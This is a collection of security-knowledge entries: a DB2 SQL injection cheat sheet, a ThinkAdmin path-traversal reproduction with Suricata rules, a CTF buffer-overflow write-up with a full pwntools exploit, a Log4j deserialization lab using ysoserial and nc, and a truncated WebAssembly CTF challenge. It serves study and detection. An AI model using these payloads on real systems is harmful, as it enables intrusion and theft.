在命令行中,可以使用符号`!`执行指定序号的历史命令。例如,要执行第2个历史命令,则输入`!2`。 2. 关闭终端后,历史列表将被写入历史文件`~/.bash_history`。 3. 环境变量`HISTSIZE`决定了历史文件中命令的存储数量,默认存储1000条。 4. 环境变量`HISTTIMEFORMAT`如果是非空值,则使用其值作为`strftime(3)`打印相关时间戳的格式字符串添加在每个显示的历史记录之前;否则不会打印时间戳。 5. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
sec-knowleage
# DB2 Injection > ## Summary * [DB2 Cheatsheet](#db2-cheatsheet) * [References](#references) ## DB2 Cheatsheet ### Version ```sql select versionnumber, version_timestamp from sysibm.sysversions; select service_level from table(sysproc.env_get_inst_info()) as instanceinfo select getvariable('sysibm.version') from sysibm.sysdummy1 -- (v8+) select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo select service_level,bld_level from sysibmadm.env_inst_info ``` ### Comments ```sql select blah from foo -- comment like this (double dash) ``` ### Current User ```sql select user from sysibm.sysdummy1 select session_user from sysibm.sysdummy1 select system_user from sysibm.sysdummy1 ``` ### List Users DB2 uses OS accounts ```sql select distinct(authid) from sysibmadm.privileges -- priv required select grantee from syscat.dbauth -- incomplete results select distinct(definer) from syscat.schemata -- more accurate select distinct(grantee) from sysibm.systabauth -- same as previous ``` ### List Privileges ```sql select * from syscat.tabauth -- shows priv on tables select * from syscat.tabauth where grantee = current user -- shows privs for current user select * from syscat.dbauth where grantee = current user;; select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies ``` ### List DBA Accounts ```sql select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y' select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = ‘Y’ or SYSADMAUTH = ‘G’ ``` ### Current Database ```sql select current server from sysibm.sysdummy1 ``` ### List Databases ```sql select distinct(table_catalog) from sysibm.tables SELECT schemaname FROM syscat.schemata; ``` ### List Columns ```sql select name, tbname, coltype from sysibm.syscolumns -- also valid syscat and sysstat ``` ### List Tables ```sql select table_name from sysibm.tables select name from sysibm.systables ``` ### Find Tables From Column Name ```sql select tbname from sysibm.syscolumns where name='username' ``` ### Select Nth Row ```sql select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only ``` ### Select Nth Char ```sql select substr('abc',2,1) FROM sysibm.sysdummy1 -- returns b ``` ### Bitwise AND/OR/NOT/XOR ```sql select bitand(1,0) from sysibm.sysdummy1 -- returns 0. Also available bitandnot, bitor, bitxor, bitnot ``` ### ASCII Value ```sql Char select chr(65) from sysibm.sysdummy1 -- returns 'A' ``` ### Char -> ASCII Value ```sql select ascii('A') from sysibm.sysdummy1 -- returns 65 ``` ### Casting ```sql select cast('123' as integer) from sysibm.sysdummy1 select cast(1 as char) from sysibm.sysdummy1 ``` ### String Concat ```sql select 'a' concat 'b' concat 'c' from sysibm.sysdummy1 -- returns 'abc' select 'a' || 'b' from sysibm.sysdummy1 -- returns 'ab' ``` ### IF Statement Seems only allowed in stored procedures. Use case logic instead. ### Case Statement ```sql select CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END from sysibm.sysdummy1 ``` ### Avoiding Quotes ```sql SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns “ADRI”. Works without select too ``` ### Time Delay Heavy queries, for example: If user starts with ascii 68 ('D'), the heavy query will be executed, delaying the response. However, if user doesn't start with ascii 68, the heavy query won't execute and thus the response will be faster. ```sql ' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 ``` ### Serialize to XML (for error based) ```sql select xmlagg(xmlrow(table_schema)) from sysibm.tables -- returns all in one xml-formatted string select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) -- Same but without repeated elements select xml2clob(xmelement(name t, table_schema)) from sysibm.tables -- returns all in one xml-formatted string (v8). May need CAST(xml2clob(… AS varchar(500)) to display the result. ``` ### Command Execution and Local File Access Seems it's only allowed from procedures or UDFs. ### Hostname/IP and OS INFO ```sql select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info -- requires priv ``` ### Location of DB Files ```sql select * from sysibmadm.reg_variables where reg_var_name='DB2PATH' -- requires priv ``` ### System Config ```sql select dbpartitionnum, name, value from sysibmadm.dbcfg where name like 'auto_%' -- Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions. select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg -- Requires priv. Retrieve all the database configuration parameters values stored on disk for all database partitions. ``` ### Default System Database * SYSIBM * SYSCAT * SYSSTAT * SYSPUBLIC * SYSIBMADM * SYSTOOLs ## References * [DB2 SQL injection cheat sheet - Adrián - 20/05/2012](https://securityetalii.es/2012/05/20/db2-sql-injection-cheat-sheet/) * [DB2 SQL Injection Cheat Sheet - pentestmonkey](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
sec-knowleage
# T1190-CVE-2020-25540-目录遍历文件读取漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 ThinkAdmin6版本存在路径遍历漏洞。该漏洞主要是因为api中存在危险函数,没有任何过滤。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的任意文件。 影响范围:ThinkAdmin版本小于 ≤ 2020.08.03.01 ## 检测日志 HTTP ## 测试复现 Burp抓包,修改参数 ```yml POST /admin.html?s=admin/api.Update/node HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=4e3eb8bf4d142b8bc21279a7418eea26 Upgrade-Insecure-Requests: 1 Content-Length: 27 Content-Type: application/x-www-form-urlencoded rules=%5b%22%2e%5c%2f%22%5d ``` ## 测试留痕 ### 目录遍历 ```yml POST /admin.html?s=admin/api.Update/node HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 X-Forwarded-For: 8.8.8.8 Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 22 rules=%5B%22.%2F%22%5D ``` ### 文件读取 ```s GET /admin.html?s=admin/api.Update/get/encode/5i6s524v5s6j5y4q1a383c38 HTTP/1.1 Host: 192.168.100.194:8000 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: think_lang=zh-cn; PHPSESSID=d1645e8a719cdc2b6b8eb98c50624f52 Connection: close HTTP/1.1 200 OK Host: 192.168.100.194:8000 Date: Wed, 09 Dec 2020 10:53:17 +0800 Connection: close X-Powered-By: PHP/7.2.1 Content-Type:application/json; charset=utf-8 Set-Cookie: think_lang=zh-cn; path=/ Set-Cookie: PHPSESSID=d1645e8a719cdc2b6b8eb98c50624f52; path=/ ...{"code":1,"info":".....................","data":{"content":"dGVzdHRlc3R0ZXN0"}} ``` ## 检测规则/思路 ### Suricata规则 #### 目录遍历检测规则 ```s alert http any any -> any any (msg:"CVE-2020-25540-rsq";flow:established,to_server;content:"POST";http_method;content:"/admin.html?s=admin/api.Update/node";http_uri;content:"rules=";http_client_body;reference:url,www.freebuf.com/vuls/256529.html;flowbits:set,first_rsq;noalert;classtype:web-application-attck;sid:1;rev:1;) alert http any any -> any any (msg:"CVE-2020-25540-目录遍历";flow:established,to_client;content:"200";http_stat_code;content:"获取文件列表成功";http_server_body;flowbits:isset,first_rsq;sid:2;rev:1;) ``` ### 文件读取检测规则 ```s alert http any any -> any any (msg:"CVE-2020-25540-rsq";flow:established,to_server;content:"GET";http_method;content:"/admin.html?s=admin/api.Update/get/encode/";http_uri;reference:url,www.freebuf.com/vuls/256529.html;flowbits:set,first_rsq;noalert;classtype:web-application-attck;sid:1;rev:1;) alert http any any -> any any (msg:"CVE-2020-25540-文件读取";flow:established,to_client;content:"200";http_stat_code;content:"data";http_server_body;flowbits:isset,first_rsq;sid:2;rev:1;) ``` ### 建议 流量+安全设备比较容易检测到此攻击行为。 ## 参考推荐 MITRE-ATT&CK-T1190 <https://attack.mitre.org/techniques/T1190/> CVE-2020-25540目录遍历文件读取漏洞 <https://www.freebuf.com/vuls/256529.html>
sec-knowleage
# 1996 PWN ## Description: > It's 1996 all over again! ```c++ // compile with -no-pie -fno-stack-protector #include <iostream> #include <unistd.h> #include <stdlib.h> using namespace std; void spawn_shell() { char* args[] = {(char*)"/bin/bash", NULL}; execve("/bin/bash", args, NULL); } int main() { char buf[1024]; cout << "Which environment variable do you want to read? "; cin >> buf; cout << buf << "=" << getenv(buf) << endl; } ``` A binary file was attached as well. ## Solution: It's pretty simple to notice the buffer overflow - `main` declares a buffer of 1024 bytes, but does not limit the input read into it. We just need to overflow the buffer, override the return address of `main` with the address of `spawn_shell` and we're done. The script: ```python from pwn import * import argparse import os LOCAL_PATH = "./1996" def get_process(is_remote = False): if is_remote: return remote("35.207.132.47", 22227) else: return process(LOCAL_PATH) def send_payload(proc, payload): proc.sendlineafter("Which environment variable do you want to read? ", payload) def get_overflow_offset(): # It's problematic to create a core dump on an NTFS file system, # so reconfigure core dumps to be created elsewhere os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern") os.system("rm core.* > /dev/null") proc = process(LOCAL_PATH) payload = cyclic(1200, n = 8) send_payload(proc, payload) proc.wait() offset = cyclic_find(proc.corefile.fault_addr, n = 8) log.info("Overflow offset: {}".format(offset)) return offset parser = argparse.ArgumentParser() parser.add_argument("-r", "--remote", help="Execute on remote server", action="store_true") args = parser.parse_args() e = ELF(LOCAL_PATH) context.binary = e.path log.info("Address of spawn_shell(): 0x{:02X}".format(e.symbols["_Z11spawn_shellv"])) offset = get_overflow_offset() p = get_process(args.remote) payload = fit({offset: p64(e.symbols["_Z11spawn_shellv"])}) send_payload(p, payload) p.interactive() ``` The output: ```console root@kali:/media/sf_CTFs/35c3ctf/1996/file# python exploit.py -r [*] '/media/sf_CTFs/35c3ctf/1996/file/1996' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Address of spawn_shell(): 0x400897 [+] Starting local process './1996': pid 925 [*] Process './1996' stopped with exit code -11 (SIGSEGV) (pid 925) [+] Parsing corefile...: Done [*] '/media/sf_CTFs/35c3ctf/1996/file/core.925' Arch: amd64-64-little RIP: 0x400967 RSP: 0x7ffd70e8a2f8 Exe: '/media/sf_CTFs/35c3ctf/1996/file/1996' (0x400000) Fault: 0x6661616161616167 [*] Overflow offset: 1048 [+] Opening connection to 35.207.132.47 on port 22227: Done [*] Switching to interactive mode aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaak\x9@=$ ls 1996 bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var $ cat flag.txt 35C3_b29a2800780d85cfc346ce5d64f52e59c8d12c14 $ exit [*] Got EOF while reading in interactive $ $ [*] Closed connection to 35.207.132.47 port 22227 [*] Got EOF while sending in interactive ``` The flag: 35C3_b29a2800780d85cfc346ce5d64f52e59c8d12c14
sec-knowleage
# Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645) Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。 ## 漏洞环境 执行如下命令启动漏洞环境 ``` docker compose up -d ``` 环境启动后,将在4712端口开启一个TCPServer。 说一下,除了使用vulhub的docker镜像搭建环境外,我们下载了log4j的jar文件后可以直接在命令行启动这个TCPServer:`java -cp "log4j-api-2.8.1.jar:log4j-core-2.8.1.jar:jcommander-1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer`,无需使用vulhub和编写代码。 ## 漏洞复现 我们使用ysoserial生成payload,然后直接发送给`your-ip:4712`端口即可。 ``` java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712 ``` 然后执行`docker compose exec log4j bash`进入容器,可见 /tmp/success 已成功创建: ![](1.png) 执行[反弹shell的命令](http://www.jackson-t.ca/runtime-exec-payloads.html),成功弹回shell: ![](2.png)
sec-knowleage
# Finally - home! (5/5) Category: Innovation ## Description > https://s3.us-west-2.amazonaws.com/cyber-ctf.be/chl5/9f2d4057-618a-4016-a854-e6ed23d30b21.html ## Solution We visit the attached website and get a form titled "Ready to Land?": ```html <form id="form"> <div class="form__group field"> <input type="input" class="form__field" placeholder="Answer" name="answer" id='answer' required /> <label for="answer" class="form__label">Answer</label> </div> </form> ``` Behind the scenes, the logic is handled by a WebAssembly script: ```javascript const memory = new WebAssembly.Memory({ initial: 256, maximum: 256 }); const importObj = { env: { abortStackOverflow: () => { throw new Error('overflow'); }, table: new WebAssembly.Table({ initial: 0, maximum: 0, element: 'anyfunc' }), __table_base: 0, memory: memory, __memory_base: 1024, STACKTOP: 0, STACK_MAX: memory.buffer.byteLength, } }; document.getElementById('form').addEventListener('submit', function(e) { e.preventDefault(); (async () => { const buff = new Uint8Array([ 221, 188, 174, 176, 220, 221, 221, 221, 220, 245, 223, 189, 220, 162, 221, 189, 194, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 220, 162, 223, 190, 216, 222, 184, 179, 171, 207, 188, 191, 178, 175, 169, 142, 169, 188, 190, 182, 146, 171, 184, 175, 187, 177, 178, 170, 221, 221, 222, 184, 179, 171, 208, 130, 130, 176, 184, 176, 178, 175, 164, 130, 191, 188, 174, 184, 222, 162, 221, 222, 184, 179, 171, 209, 130, 130, 169, 188, 191, 177, 184, 130, 191, 188, 174, 184, 222, 162, 221, 222, 184, 179, 171, 219, 176, 184, 176, 178, 175, 164, 223, 220, 93, 223, 93, 223, 222, 184, 179, 171, 216, 169, 188, 191, 177, 184, 220, 173, 220, 221, 221, 222, 223, 220, 220, 219, 202, 222, 162, 220, 156, 125, 205, 214, 162, 220, 156, 125, 77, 29, 223, 214, 160, 220, 158, 221, 221, 221, 221, 214, 218, 213, 220, 217, 130, 171, 184, 175, 221, 220, 215, 59, 199, 220, 62, 199, 220, 7, 223, 162, 254, 223, 252, 42, 223, 254, 223, 156, 93, 220, 183, 249, 223, 254, 223, 254, 222, 147, 217, 157, 156, 93, 220, 205, 221, 214, 253, 221, 252, 7, 220, 253, 220, 252, 6, 220, 253, 223, 252, 59, 220, 253, 222, 252, 44, 220, 253, 217, 252, 46, 220, 253, 216, 252, 41, 220, 253, 219, 252, 40, 220, 253, 218, 252, 43, 220, 253, 213, 252, 42, 220, 253, 212, 252, 37, 220, 253, 215, 252, 1, 220, 253, 214, 252, 0, 220, 253, 209, 252, 3, 220, 253, 208, 252, 2, 220, 253, 211, 252, 61, 220, 253, 210, 252, 60, 220, 253, 205, 252, 63, 220, 253, 204, 252, 62, 220, 253, 207, 252, 57, 220, 253, 206, 252, 56, 220, 253, 201, 252, 58, 220, 253, 200, 252, 53, 220, 253, 203, 252, 52, 220, 253, 202, 252, 55, 220, 253, 197, 252, 54, 220, 253, 196, 252, 49, 220, 253, 199, 252, 48, 220, 253, 198, 252, 51, 220, 253, 193, 252, 50, 220, 253, 192, 252, 45, 220, 253, 195, 252, 47, 220, 156, 221, 252, 11, 223, 253, 7, 220, 252, 194, 253, 194, 156, 162, 174, 252, 69, 223, 253, 69, 223, 156, 122, 220, 172, 252, 65, 220, 253, 7, 220, 252, 253, 253, 253, 156, 5, 163, 172, 252, 64, 220, 253, 65, 220, 253, 64, 220, 175, 252, 106, 223, 253, 106, 223, 156, 28, 220, 182, 252, 10, 223, 223, 162, 253, 10, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 36, 220, 253, 11, 223, 252, 246, 253, 246, 253, 36, 220, 183, 252, 160, 253, 160, 252, 11, 223, 253, 6, 220, 252, 235, 253, 235, 156, 162, 174, 252, 116, 223, 253, 116, 223, 156, 205, 172, 252, 25, 220, 253, 6, 220, 252, 156, 253, 156, 156, 178, 172, 252, 20, 220, 253, 25, 220, 253, 20, 220, 175, 252, 19, 223, 253, 19, 223, 156, 253, 182, 252, 50, 223, 223, 162, 253, 50, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 79, 223, 253, 11, 223, 252, 145, 253, 145, 253, 79, 223, 183, 252, 69, 220, 253, 69, 220, 252, 11, 223, 253, 59, 220, 252, 138, 253, 138, 156, 162, 174, 252, 104, 223, 253, 104, 223, 156, 45, 220, 172, 252, 67, 220, 253, 59, 220, 252, 191, 253, 191, 156, 82, 163, 172, 252, 126, 220, 253, 67, 220, 253, 126, 220, 175, 252, 102, 223, 253, 102, 223, 156, 95, 220, 182, 252, 1, 223, 223, 162, 253, 1, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 34, 220, 253, 11, 223, 252, 176, 253, 176, 253, 34, 220, 183, 252, 88, 220, 253, 88, 220, 252, 11, 223, 253, 44, 220, 252, 165, 253, 165, 156, 162, 174, 252, 127, 223, 253, 127, 223, 156, 66, 220, 172, 252, 105, 220, 253, 44, 220, 252, 252, 253, 252, 156, 61, 163, 172, 252, 100, 220, 253, 105, 220, 253, 100, 220, 175, 252, 27, 223, 253, 27, 223, 156, 29, 220, 182, 252, 58, 223, 223, 162, 253, 58, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 87, 223, 253, 11, 223, 252, 255, 253, 255, 253, 87, 223, 183, 252, 82, 220, 253, 82, 220, 252, 11, 223, 253, 46, 220, 252, 254, 253, 254, 156, 162, 174, 252, 118, 223, 253, 118, 223, 156, 45, 220, 172, 252, 31, 220, 253, 46, 220, 252, 249, 253, 249, 156, 82, 163, 172, 252, 30, 220, 253, 31, 220, 253, 30, 220, 175, 252, 23, 223, 253, 23, 223, 156, 75, 220, 182, 252, 55, 223, 223, 162, 253, 55, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 81, 223, 253, 11, 223, 252, 248, 253, 248, 253, 81, 223, 183, 252, 77, 220, 253, 77, 220, 252, 11, 223, 253, 41, 220, 252, 251, 253, 251, 156, 162, 174, 252, 113, 223, 253, 113, 223, 156, 28, 221, 172, 252, 24, 220, 253, 41, 220, 252, 250, 253, 250, 156, 99, 162, 172, 252, 27, 220, 253, 24, 220, 253, 27, 220, 175, 252, 22, 223, 253, 22, 223, 156, 233, 182, 252, 54, 223, 223, 162, 253, 54, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 80, 223, 253, 11, 223, 252, 245, 253, 245, 253, 80, 223, 183, 252, 76, 220, 253, 76, 220, 252, 11, 223, 253, 40, 220, 252, 244, 253, 244, 156, 162, 174, 252, 112, 223, 253, 112, 223, 156, 52, 221, 172, 252, 26, 220, 253, 40, 220, 252, 247, 253, 247, 156, 75, 162, 172, 252, 21, 220, 253, 26, 220, 253, 21, 220, 175, 252, 17, 223, 253, 17, 223, 156, 198, 182, 252, 49, 223, 223, 162, 253, 49, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 83, 223, 253, 11, 223, 252, 241, 253, 241, 253, 83, 223, 183, 252, 79, 220, 253, 79, 220, 252, 11, 223, 253, 43, 220, 252, 240, 253, 240, 156, 162, 174, 252, 115, 223, 253, 115, 223, 156, 236, 172, 252, 23, 220, 253, 43, 220, 252, 243, 253, 243, 156, 147, 172, 252, 22, 220, 253, 23, 220, 253, 22, 220, 175, 252, 16, 223, 253, 16, 223, 156, 24, 221, 182, 252, 48, 223, 223, 162, 253, 48, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 82, 223, 253, 11, 223, 252, 242, 253, 242, 253, 82, 223, 183, 252, 78, 220, 253, 78, 220, 252, 11, 223, 253, 42, 220, 252, 237, 253, 237, 156, 162, 174, 252, 114, 223, 253, 114, 223, 156, 42, 221, 172, 252, 17, 220, 253, 42, 220, 252, 236, 253, 236, 156, 85, 162, 172, 252, 16, 220, 253, 17, 220, 253, 16, 220, 175, 252, 18, 223, 253, 18, 223, 156, 194, 182, 252, 51, 223, 223, 162, 253, 51, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 77, 223, 253, 11, 223, 252, 239, 253, 239, 253, 77, 223, 183, 252, 73, 220, 253, 73, 220, 252, 11, 223, 253, 37, 220, 252, 238, 253, 238, 156, 162, 174, 252, 109, 223, 253, 109, 223, 156, 209, 172, 252, 19, 220, 253, 37, 220, 252, 233, 253, 233, 156, 174, 172, 252, 18, 220, 253, 19, 220, 253, 18, 220, 175, 252, 13, 223, 253, 13, 223, 156, 226, 182, 252, 45, 223, 223, 162, 253, 45, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 76, 223, 253, 11, 223, 252, 232, 253, 232, 253, 76, 223, 183, 252, 72, 220, 253, 72, 220, 252, 11, 223, 253, 1, 220, 252, 234, 253, 234, 156, 162, 174, 252, 108, 223, 253, 108, 223, 156, 15, 220, 172, 252, 13, 220, 253, 1, 220, 252, 229, 253, 229, 156, 112, 163, 172, 252, 12, 220, 253, 13, 220, 253, 12, 220, 175, 252, 12, 223, 253, 12, 223, 156, 125, 220, 182, 252, 44, 223, 223, 162, 253, 44, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 78, 223, 253, 11, 223, 252, 228, 253, 228, 253, 78, 223, 183, 252, 75, 220, 253, 75, 220, 252, 11, 223, 253, 0, 220, 252, 231, 253, 231, 156, 162, 174, 252, 111, 223, 253, 111, 223, 156, 49, 221, 172, 252, 15, 220, 253, 0, 220, 252, 230, 253, 230, 156, 78, 162, 172, 252, 14, 220, 253, 15, 220, 253, 14, 220, 175, 252, 15, 223, 253, 15, 223, 156, 238, 182, 252, 47, 223, 223, 162, 253, 47, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 73, 223, 253, 11, 223, 252, 225, 253, 225, 253, 73, 223, 183, 252, 74, 220, 253, 74, 220, 252, 11, 223, 253, 3, 220, 252, 224, 253, 224, 156, 162, 174, 252, 110, 223, 253, 110, 223, 156, 101, 220, 172, 252, 9, 220, 253, 3, 220, 252, 227, 253, 227, 156, 26, 163, 172, 252, 8, 220, 253, 9, 220, 253, 8, 220, 175, 252, 14, 223, 253, 14, 223, 156, 84, 220, 182, 252, 46, 223, 223, 162, 253, 46, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 72, 223, 253, 11, 223, 252, 226, 253, 226, 253, 72, 223, 183, 252, 68, 220, 253, 68, 220, 252, 11, 223, 253, 2, 220, 252, 157, 253, 157, 156, 162, 174, 252, 105, 223, 253, 105, 223, 156, 54, 220, 172, 252, 11, 220, 253, 2, 220, 252, 159, 253, 159, 156, 73, 163, 172, 252, 10, 220, 253, 11, 220, 253, 10, 220, 175, 252, 9, 223, 253, 9, 223, 156, 88, 220, 182, 252, 41, 223, 223, 162, 253, 41, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 75, 223, 253, 11, 223, 252, 158, 253, 158, 253, 75, 223, 183, 252, 71, 220, 253, 71, 220, 252, 11, 223, 253, 61, 220, 252, 153, 253, 153, 156, 162, 174, 252, 107, 223, 253, 107, 223, 156, 43, 221, 172, 252, 5, 220, 253, 61, 220, 252, 152, 253, 152, 156, 84, 162, 172, 252, 4, 220, 253, 5, 220, 253, 4, 220, 175, 252, 8, 223, 253, 8, 223, 156, 205, 182, 252, 40, 223, 223, 162, 253, 40, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 74, 223, 253, 11, 223, 252, 155, 253, 155, 253, 74, 223, 183, 252, 70, 220, 253, 70, 220, 252, 11, 223, 253, 60, 220, 252, 154, 253, 154, 156, 162, 174, 252, 68, 223, 253, 68, 223, 156, 233, 172, 252, 66, 220, 253, 60, 220, 252, 149, 253, 149, 156, 150, 172, 252, 125, 220, 253, 66, 220, 253, 125, 220, 175, 252, 101, 223, 253, 101, 223, 156, 217, 182, 252, 5, 223, 223, 162, 253, 5, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 39, 220, 253, 11, 223, 252, 148, 253, 148, 253, 39, 220, 183, 252, 163, 253, 163, 252, 11, 223, 253, 63, 220, 252, 151, 253, 151, 156, 162, 174, 252, 71, 223, 253, 71, 223, 156, 8, 220, 172, 252, 124, 220, 253, 63, 220, 252, 150, 253, 150, 156, 119, 163, 172, 252, 127, 220, 253, 124, 220, 253, 127, 220, 175, 252, 100, 223, 253, 100, 223, 156, 87, 220, 182, 252, 4, 223, 223, 162, 253, 4, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 38, 220, 253, 11, 223, 252, 144, 253, 144, 253, 38, 220, 183, 252, 162, 253, 162, 252, 11, 223, 253, 62, 220, 252, 147, 253, 147, 156, 162, 174, 252, 70, 223, 253, 70, 223, 156, 216, 172, 252, 121, 220, 253, 62, 220, 252, 146, 253, 146, 156, 167, 172, 252, 120, 220, 253, 121, 220, 253, 120, 220, 175, 252, 103, 223, 253, 103, 223, 156, 59, 221, 182, 252, 7, 223, 223, 162, 253, 7, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 33, 220, 253, 11, 223, 252, 141, 253, 141, 253, 33, 220, 183, 252, 93, 220, 253, 93, 220, 252, 11, 223, 253, 57, 220, 252, 140, 253, 140, 156, 162, 174, 252, 65, 223, 253, 65, 223, 156, 54, 221, 172, 252, 123, 220, 253, 57, 220, 252, 143, 253, 143, 156, 73, 162, 172, 252, 122, 220, 253, 123, 220, 253, 122, 220, 175, 252, 97, 223, 253, 97, 223, 156, 2, 221, 